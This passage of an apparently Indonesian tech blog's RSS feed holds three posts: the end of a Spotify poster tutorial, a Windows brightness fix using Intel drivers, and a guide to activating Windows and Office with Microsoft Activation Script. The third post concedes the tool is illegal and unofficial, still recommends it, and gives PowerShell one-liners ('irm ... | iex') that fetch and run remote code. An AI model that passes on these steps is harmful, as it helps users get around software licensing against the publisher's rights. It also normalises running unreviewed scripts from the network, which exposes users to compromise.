&lt;li&gt;Kunjungi &lt;a href=&quot;https://developer.spotify.com/dashboard&quot; target=&quot;_blank&quot;&gt;Spotify Developer Dashboard&lt;/a&gt; dan &lt;em&gt;log in&lt;/em&gt; dengan akun Spotify yang sudah dibuat sebelumnya.&lt;/li&gt;
&lt;li&gt;Klik tombol &lt;strong&gt;Create app&lt;/strong&gt; yang terdapat di bagian pojok atas kanan.&lt;/li&gt;
&lt;li&gt;Isi semua form yang diperlukan, kemudian klik &lt;strong&gt;Save&lt;/strong&gt; jika sudah selesai.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Sekarang, kita sudah memiliki &lt;em&gt;Client ID&lt;/em&gt; &amp;amp; &lt;em&gt;Client Secret&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Spotify Web API creds&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;474&quot; src=&quot;/_astro/ss5.7sMc_qCc_ghmuT.webp&quot; /&gt;&lt;figcaption&gt;Spotify Web API creds&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jangan lupa, masukkan &lt;em&gt;Client ID&lt;/em&gt; &amp;amp; &lt;em&gt;Client Secret&lt;/em&gt; tersebut ke file konfigurasi BeatPrints.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Buat Poster&lt;a href=&quot;#buat-poster&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Persiapan sudah selesai. Sekarang, kita akan membuat poster dari Spotify menggunakan BeatPrints.&lt;/p&gt;&lt;p&gt;Caranya &lt;em&gt;simple&lt;/em&gt;: jalankan BeatPrints dari terminal dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;beatprints&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, ikuti &lt;em&gt;flow&lt;/em&gt;-nya dan silakan bereksplorasi sendiri!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://beatprints.readthedocs.io/en/latest/&quot; target=&quot;_blank&quot;&gt;https://beatprints.readthedocs.io/en/latest/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/pypa/pipx&quot; target=&quot;_blank&quot;&gt;https://github.com/pypa/pipx&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://beatprints.readthedocs.io/en/latest/guidebook/cli.html&quot; target=&quot;_blank&quot;&gt;https://beatprints.readthedocs.io/en/latest/guidebook/cli.html&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Fixing Windows Brightness Problem</title><link>https://shangdi.github.io/posts/tech/inteldriverinstall/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/inteldriverinstall/</guid><description>Your windows brightness doesn&apos;t work properly? May be it&apos;s due to driver issue...</description><pubDate>Wed, 23 Apr 2025 00:30:49 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Artikel ini dibuat masih terkait dengan instalasi Windows. Series-nya bisa dilihat di “drop-down menu” di atas.&lt;/p&gt;&lt;/blockquote&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Selayang Pandang (re: Curhat)&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Artikel ini melanjutkan pengalaman saya setelah berhasil &lt;em&gt;install&lt;/em&gt; Windows 10. Pengalaman “pertama” saya pasca instalasi Windows 10 sendiri secara &lt;em&gt;baremetal&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; kemudian berlanjut. Saya mengalami kendala karena laptop saya tidak bisa mengatur &lt;em&gt;brightness&lt;/em&gt;, baik melalui Setting, maupun dengan &lt;em&gt;shortcut&lt;/em&gt;. Saya juga sudah melakukan salah satu langkah solusi, yaitu meng-&lt;em&gt;install&lt;/em&gt; ulang &lt;em&gt;display driver&lt;/em&gt;-nya di Setting “Display Manager”, namun, tak kunjung memperbaiki masalah tersebut. Sejujurnya, saya juga sudah sempat mencari tahu penyebab dan solusi masalah ini ke Google, tapi juga belum menemukan jalan keluar yang tepat.&lt;/p&gt;&lt;p&gt;Akhirnya, kebingungan saya ini terjawab ketika saya bertanya ke ChatGPT (memang kehadiran AI ini sangat membantu kita menyelesaikan masalah, karena dia bisa menjawab dan memberikan alternatif-alternatif solusi yang &lt;em&gt;to the point&lt;/em&gt;). ChatGPT merekomendasikan beberapa solusi pada masalah &lt;em&gt;brightness&lt;/em&gt; pasca instalasi Windows, dimana salah satunya adalah untuk tidak hanya melakukan instalasi &lt;em&gt;driver&lt;/em&gt; saja, tetapi juga meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;driver&lt;/em&gt; yang tepat, sesuai dengan &lt;em&gt;hardware&lt;/em&gt; atau spesifikasi komputernya. Setelah itu, saya mengunduh &lt;em&gt;display driver&lt;/em&gt; dari Intel (karena laptop saya berprosesor Intel) dan Alhamdulillah, &lt;em&gt;brightness&lt;/em&gt; dapat berjalan dengan normal.&lt;/p&gt;&lt;p&gt;Berikut adalah Prompt-nya:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Saya baru saja menginstall windows 10 di komputer, namun, brighteness di laptop saya tidak berfungsi dengan baik. Brightness tidak dapat diatur, baik melalui shortcut maupun melalui Setting di Windows. Saya juga sudah mencoba melakukan instal ulang display driver di Device Manager, tapi tetap tidak menyelesaikan masalah tersebut. Bagaimana solusinya?&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;ChatGPT alternatives solutions to brightness problem.&quot; loading=&quot;lazy&quot; width=&quot;1218&quot; height=&quot;722&quot; src=&quot;/_astro/ss1.yz-VFVCL_ur2f1.webp&quot; /&gt;&lt;figcaption&gt;ChatGPT alternatives solutions to brightness problem.&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Berdasarkan pengalaman saya (yang tercantum pada bagian “Selayang Pandang” di atas), permasalahan &lt;em&gt;brightness&lt;/em&gt; tidak berfungsi dengan baik pasca instalasi Windows hampir dapat dipastikan karena kita belum meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;display driver&lt;/em&gt; yang tepat.&lt;/p&gt;
&lt;p&gt;Jika kita baru saja meng-&lt;em&gt;install&lt;/em&gt; Windows ke komputer kita, hampir dapat dipastikan &lt;em&gt;driver&lt;/em&gt; grafis yang terpasang adalah &lt;em&gt;driver&lt;/em&gt; grafis &lt;em&gt;default&lt;/em&gt; bawaan dari Windows, sehingga kita perlu memasang &lt;em&gt;driver&lt;/em&gt; yang lebih sesuai dengan prosesor secara manual. Hal ini dapat dipastikan melalui Setting “Device Manager” pada bagian &lt;strong&gt;“Display adapter”&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Cara membuka “Display Manager” ada beberapa, diantaranya:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tekan “Windows” + “X” di keyboard, klik “Device Manager”.&lt;/li&gt;
&lt;li&gt;Tekan “Windows” di keyboard, ketikkan “Device Manager”, Enter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Di sana, alih-alih melihat &lt;em&gt;driver&lt;/em&gt; yang sesuai dengan &lt;em&gt;hardware&lt;/em&gt; atau spesifikasi komputer (prosesor atau kartu grafis), seperti misalnya “Intel”, “AMD”, atau “NVIDIA”, kita akan melihat bahwa &lt;em&gt;driver&lt;/em&gt; yang terpasang adalah &lt;em&gt;driver&lt;/em&gt; default Windows, yaitu “Microsoft Basic Display Adapter”. Jadi, solusi untuk masalah ini yaitu: &lt;strong&gt;“Memasang &lt;em&gt;driver&lt;/em&gt; yang sesuai dengan spesifikasi komputer”&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Kebetulan, laptop saya menggunakan prosesor Intel, jadi jika komputer atau laptop kalian menggunakan prosesor yang sama, sila mengikuti langkah-langkah di bawah ini.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;1. Pilih &amp;amp; unduh &lt;em&gt;driver&lt;/em&gt; dari website resminya.&lt;a href=&quot;#1-pilih--unduh-driver-dari-website-resminya&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Intel: &lt;a href=&quot;https://www.intel.co.id/content/www/id/id/search.html#sort=relevancy&amp;amp;f:@tabfilter=%5BDownloads%5D&amp;amp;f:@stm_10385_id=%5BGraphics&quot; target=&quot;_blank&quot;&gt;https://www.intel.co.id/content/www/id/id/search.html#sort=relevancy&amp;amp;f:@tabfilter=[Downloads]&amp;amp;f:@stm_10385_id=[Graphics&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;Pilih &lt;em&gt;driver&lt;/em&gt; yang sesuai dengan spesifikasi laptop dan kebutuhan kalian. Kebetulan, karena laptop saya adalah laptop lama, jadi, saya “mentok” hanya dapat menggunakan &lt;em&gt;driver&lt;/em&gt; &lt;strong&gt;Intel UHD Graphic 620&lt;/strong&gt; berikut ini:&lt;br /&gt;
&lt;a href=&quot;https://www.intel.co.id/content/www/id/id/download/776137/intel-7th-10th-gen-processor-graphics-windows.html&quot; target=&quot;_blank&quot;&gt;https://www.intel.co.id/content/www/id/id/download/776137/intel-7th-10th-gen-processor-graphics-windows.html&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. Jalankan &lt;em&gt;installer&lt;/em&gt;-nya.&lt;a href=&quot;#2-jalankan-installer-nya&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Setelah proses &lt;em&gt;download&lt;/em&gt; selesai, jalankan &lt;em&gt;driver&lt;/em&gt;. Jika muncul window konfirmasi “User Account Control”, pilih “YES”. Biarkan proses ekstraksi file berjalan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Intel driver installation process.&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;443&quot; src=&quot;/_astro/ss2.CmJEZI6r_8t42q.webp&quot; /&gt;&lt;figcaption&gt;Intel driver installation process.&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Selanjutnya, Intel akan mulai memasang &lt;em&gt;driver&lt;/em&gt;-nya. Biarkan prosesnya berjalan.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Intel driver installation process.&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;648&quot; src=&quot;/_astro/ss3.B12QOB4z_ZAihg2.webp&quot; /&gt;&lt;figcaption&gt;Intel driver installation process.&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika proses instalasi sudah selesai (seperti yang tampak pada tangkapan layar di bawah), kita akan diminta untuk me-&lt;em&gt;restart&lt;/em&gt; komputer/laptop-nya agar driver dapat berjalan dan berfungsi dengan baik. Sila &lt;em&gt;restart&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Intel driver installation completed.&quot; loading=&quot;lazy&quot; width=&quot;900&quot; height=&quot;660&quot; src=&quot;/_astro/ss4.DcKrewMF_ZIA1L8.webp&quot; /&gt;&lt;figcaption&gt;Intel driver installation completed.&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bare-metal_server&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Bare-metal_server&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Windows License Activation with MAS</title><link>https://shangdi.github.io/posts/tech/mas/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/mas/</guid><description>A simple way to activate your Windows license using Microsoft Activation Script (MAS).</description><pubDate>Mon, 21 Apr 2025 00:02:40 GMT</pubDate><content:encoded>&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Beberapa waktu lalu, saya akan mengikuti salah tes daring (&lt;em&gt;online&lt;/em&gt;) yang mengharuskan pesertanya meng-&lt;em&gt;install&lt;/em&gt; dan menggunakan &lt;strong&gt;Safe Exam Browser (SEB)&lt;/strong&gt; versi 3.7 di Windows atau MAC (btw, per artikel ini ditulis, versi terbaru SEB adalah 3.9). Setelah berhasil melakukan instalasi, monitor laptop saya mengalami &lt;em&gt;stuttering&lt;/em&gt; dan pada akhirnya berujung pada &lt;em&gt;blue screen&lt;/em&gt; di tengah-tengah pemakaian. Sebetulnya, gejala awalnya sudah terjadi beberapa hari sebelumnya.&lt;/p&gt;&lt;p&gt;Awalnya, saya mengira “kerusakan” ini bersumber dari monitor laptopnya saja. Mungkin laptop saya pernah jatuh, terinjak, atau bagaimana sehingga monitor akhirnya terdampak. Saya belum tahu pasti masalahnya ada di mana. Walaupun sebetulnya &lt;em&gt;blue screen&lt;/em&gt; memiliki &lt;em&gt;error message&lt;/em&gt;, tapi, setiap kali &lt;em&gt;blue screen&lt;/em&gt;, biasanya &lt;em&gt;error message&lt;/em&gt;-nya bisa saja berbeda, jadi hampir tidak membantu banyak.&lt;/p&gt;&lt;p&gt;Parahnya, pada akhirnya laptop saya bukan lagi tidak bersahabat di tengah-tengah pemakaian, tapi tidak bisa &lt;em&gt;booting&lt;/em&gt; ke Windows. Setiap kali mau &lt;em&gt;booting&lt;/em&gt;, akan selalu muncur &lt;em&gt;blue screen&lt;/em&gt;. Alhamdulillahnya, di detik-detik terakhir sebelum laptop saya mengalami hal tersebut, saya sempat melihat kejanggalan informasi yang dilaporkan oleh &lt;strong&gt;Hard Disk Sentinel&lt;/strong&gt; mengenai SSD 256 GB dari V-Gen yang saya gunakan untuk menyimpan sistem operasi. Dengan demikian, kecurigaan saya terhadap penyebab kerusakan ini tidak hanya di layar atau monitor, tapi sedikit bergeser ke SSD.&lt;/p&gt;&lt;p&gt;Seingat saya, SSD tersebut memang sudah cukup lama digunakan, seingat saya sejak pandemi Covid-19, dan saya sudah sering kali melakukan instalasi Arch linux juga sebagai &lt;em&gt;dual boot&lt;/em&gt;, sehingga mungkin &lt;strong&gt;Tera Byte Written (TBW)&lt;/strong&gt;-nya atau batas maksimal untuk menulisnya sudah tercapai (atau mungkin sudah dilampaui). Apalagi, setelah melihat spesifikasinya di &lt;em&gt;marketplace&lt;/em&gt;, rupanya memang TBW SSD-ini relatif rendah (setidaknya sepenglihatan dan sepengetahuan saya pada saat itu). Ini jugalah sebetulnya kelemahan dibalik kelebihan SSD dibanding Hard Disk, meskipun memiliki kecepatan yang jauh lebih tinggi dan durabilitas pada guncangan, SSD lemah di waktu penggunaan yang relatif lebih cepat “aus” dibandingkan Hard Disk.&lt;/p&gt;&lt;p&gt;Untuk meyakinkan diri saya bahwa penyebab &lt;em&gt;blue screen&lt;/em&gt;-nya ada di SSD, saya pergi ke toko &lt;em&gt;service&lt;/em&gt; komputer terdekat dari kos saya di Bandung. Hasil konsultasinya memvonis benar bahwa SSD saya sudah habis masa bakti-nya sehingga perlu diganti agar sistem operasi dapat berjalan dengan baik kembali. Dengan demikian, saya putuskan untuk membeli SSD baru berkapasitas 256 GB dengan merk Adata Legend 710 Gen3 dari marketplace yang tokonya juga berada di Bandung (karena waktu tes sudah H-2) dan mencoba melakukan &lt;em&gt;install&lt;/em&gt; ulang Windows 10 sendiri. Sejujurnya, ini adalah kali pertama saya melakukan instalasi Windows secara &lt;em&gt;baremetal&lt;/em&gt; di laptop, jadi tetap ada “ndredeg”-nya. 😅&lt;/p&gt;&lt;p&gt;Setelah instalasi berhasil, saya menemukan masalah baru: Lisensi Windows tidak ada. Artinya, beberapa fitur tidak dapat digunakan. Dari sinilah saya kemudian mencari akal. Beberapa alternatif muncul di benak saya, seperti “Membeli lisensi Windows resmi”, “Meminta tukang &lt;em&gt;service&lt;/em&gt; untuk mengaktivasi Windows”, hingga “Mencari Windows bajakan di internet”. Namun, saya pikir, itu semua adalah pilihan terakhir jika saya benar-benar tidak menemukan solusi yang lebih sederhana di internet. Maka, mulailah saya berselancar di Google dengan satu senjata, yaitu &lt;em&gt;keyword&lt;/em&gt; &lt;strong&gt;“windows activation free”&lt;/strong&gt;. Setelah membongkar beberapa artikel dan video Youtube, akhirnya, muncullah website berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Google results on windows activation free&quot; loading=&quot;lazy&quot; width=&quot;1265&quot; height=&quot;680&quot; src=&quot;/_astro/ss2.DXB_ZpBV_Z1nrJ5p.webp&quot; /&gt;&lt;figcaption&gt;Google results on windows activation free&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;Bagian &lt;strong&gt;Selayang Pandang&lt;/strong&gt; ini berisi latar belakang saya menemukan dan menggunakan MAS (Microsoft Activation Script). Sesuai judulnya, 99% isinya curhat. Jadi, bila berkenan bisa dibaca, jika tidak, di-&lt;em&gt;skip&lt;/em&gt; pun tidak mengapa.&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;Legalitas, Urgensi, dan Kompensasi&lt;a href=&quot;#legalitas-urgensi-dan-kompensasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum masuk ke teknis, tentu saja kita perlu membahas tentang legalitas dan urgensi. Sebab, untuk melakukan aktivasi Windows secara resmi, kita harus membeli lisensinya langsung ke pihak pengembang Windows, yaitu Microsoft.&lt;/p&gt;&lt;p&gt;Tapi, pertanyaannya kan selalu tentang &lt;strong&gt;“Bagaimana kalau tidak punya dana untuk membeli lisensi Windows?”&lt;/strong&gt; dan &lt;strong&gt;“Apa alternatif pembelian lisensi Windows?”&lt;/strong&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Legalitas&lt;a href=&quot;#legalitas&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Apakah Microsoft Activation Script (MAS) legal dan resmi?&lt;br /&gt;
Jawaban singkatnya: &lt;strong&gt;TIDAK LEGAL &amp;amp; TIDAK RESMI&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Meskipun MAS merupakan &lt;em&gt;software&lt;/em&gt; yang &lt;a href=&quot;https://opensource.org/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;open source&lt;/em&gt;&lt;/a&gt; dan gratis, dimana bahkan &lt;em&gt;source code&lt;/em&gt;-nya disimpan dan dikelola di &lt;a href=&quot;https://github.com/massgravel/Microsoft-Activation-Scripts&quot; target=&quot;_blank&quot;&gt;Github&lt;/a&gt; yang “notabene”-nya adalah &lt;a href=&quot;https://news.microsoft.com/2018/06/04/microsoft-to-acquire-github-for-7-5-billion/&quot; target=&quot;_blank&quot;&gt;milik Microsoft&lt;/a&gt; juga, tidak menjadikannya legal dan resmi. Sebab, MAS dikembangkan oleh pihak lain (bukan Microsoft)  dan tentu saja tidak atas izin Microsoft. Dengan demikian, sekali lagi, meskipun ada di Github dan bersifat &lt;em&gt;open source&lt;/em&gt;, Microsoft Activation Script (MAS) bukanlah produk resmi dan legal.&lt;/p&gt;&lt;p&gt;Hal tersebut juga sudah dinyatakan langsung oleh pihak pengembang MAS di websitenya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MAS&apos;s explicit declaration of its legality&quot; loading=&quot;lazy&quot; width=&quot;1261&quot; height=&quot;699&quot; src=&quot;/_astro/ss3.DqYFH0Ir_Z13CPVr.webp&quot; /&gt;&lt;figcaption&gt;MAS&apos;s explicit declaration of its legality&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Urgensi&lt;a href=&quot;#urgensi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kenapa harus memilih MAS (Microsoft Activation Script) sebagai alternatif?
Jawaban singkatnya: &lt;strong&gt;OPEN SOURCE &amp;amp; FREE&lt;/strong&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MAS Github repository with 132k stars on April, 2025&quot; loading=&quot;lazy&quot; width=&quot;1250&quot; height=&quot;697&quot; src=&quot;/_astro/ss1.Cy-ElEDJ_Z22kjBt.webp&quot; /&gt;&lt;figcaption&gt;MAS Github repository with 132k stars on April, 2025&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;DISCLAIMER!&lt;/strong&gt; Saya bukan &lt;em&gt;sales&lt;/em&gt; atau bagian &lt;em&gt;marketing&lt;/em&gt;-nya MAS. Artikel ini tidak disponsori sepeser pun.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Kehadiran &lt;em&gt;script&lt;/em&gt; ini dalam lisensi &lt;em&gt;open source&lt;/em&gt;, memberi kita ketenangan batin. Sebab, kita sendiri bisa memastikan bahwa script ini bukan atau tidak menyisipkan &lt;em&gt;malware&lt;/em&gt; atau virus di dalamnya. Bahkan, kalau tidak percaya tentang keamanan &lt;em&gt;script&lt;/em&gt; ini, kita dapat memastikannya sendiri dengan membukanya dengan editor sederhana (seperti Notepad) atau bahkan menggunakan bantuan AI (Artificial Intelligence). Jadi, alih-alih menggunakan atau membeli Windows bajakan yang kita tidak tahu keamanannya, MAS dapat menjadi alternatif yang terbaik.&lt;/p&gt;&lt;p&gt;Selain itu, &lt;em&gt;software&lt;/em&gt; atau &lt;em&gt;script&lt;/em&gt; ini juga gratis. Artinya, kita sama sekali tidak perlu merogoh kocek untuk mendapatkan lisensi Windows (yang bahkan permanen)! Luar biasa, bukan? Bahkan, beberapa Windows bajakan saja terkadang masih ada yang mengharuskan kita untuk mengeluarkan duit. 🤣&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Kompensasi&lt;a href=&quot;#kompensasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kompensasi atau “efek samping” adalah hal yang lumrah dipertanyakan ketika mendapat barang secara cuma-cuma. Sebab, seperti kata pepatah, &lt;em&gt;There is no such thing as a free lunch&lt;/em&gt;, bukan begitu? 😏&lt;/p&gt;&lt;p&gt;Namun, sejauh saya menggunakan lisensi Windows dari MAS ini (sudah 5 hari sejak aktivasi hingga artikel ini ditulis), belum ada “efek samping” yang saya rasakan. Pun tidak ada tanda-tanda &lt;em&gt;script&lt;/em&gt; MAS tersebut melakukan aktivitas ilegal pada komputer saya (re: hacking atau mencuri informasi). Singkat kata, penggunaan &lt;em&gt;script&lt;/em&gt; MAS untuk aktivasi lisensi Windows&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Cara Aktivasi Windows dengan MAS&lt;a href=&quot;#cara-aktivasi-windows-dengan-mas&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt; Microsoft Acvivation Script (MAS) tidak hanya dapat digunakan untuk melakukan aktivasi Windows, tetapi juga aktivasi Microsoft Office.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Ada dua cara untuk melakukan aktivasi lisensi dengan Windows dengan Microsoft Activation Script (MAS), yaitu cara otomatis &amp;amp; cara manual. Kita hanya perlu mengetikkan 2 baris perintah saja di Powershell jika memilih cara otomatis. Namun, jika kita ingin yang lebih “aman”, kita dapat menggunakan cara manual. Kita dapat memilihnya sendiri berdasarkan preferensi.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Cara Otomatis&lt;a href=&quot;#cara-otomatis&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Buka Powershell atau Terminal Windows.&lt;br /&gt;
Caranya beragam:&lt;/li&gt;
&lt;/ol&gt;&lt;ul&gt;
&lt;li&gt;Tekan tombol “Windows” di keyboard, dan ketikkan Powershell atau Terminal.&lt;/li&gt;
&lt;li&gt;Tekan tombol “Windows” + “X” di keyboard secara bersamaan, klik Windows Powershell.&lt;/li&gt;
&lt;li&gt;Tekan tombol “Windows” + “R” di keyboard secara bersamaa, ketikkan wt, Enter.&lt;/li&gt;
&lt;/ul&gt;&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Copy-Paste&lt;/em&gt; baris kode berikut, kemudian tekan Enter.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;irm https:&lt;/span&gt;&lt;span&gt;//&lt;/span&gt;&lt;span&gt;get.activated.win | iex&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau bisa juga dengan kode berikut, sama saja:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;irm https:&lt;/span&gt;&lt;span&gt;//&lt;/span&gt;&lt;span&gt;massgrave.dev&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;get | iex&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Kita akan melihat pilihan aktivasi berikut:&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Press [1] HWID for Windows activation.&lt;br /&gt;
Press [2] Ohook for Office activation.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Selesai.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Cara Manual&lt;a href=&quot;#cara-manual&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;Unduh file-nya pada tautan berikut:&lt;/li&gt;
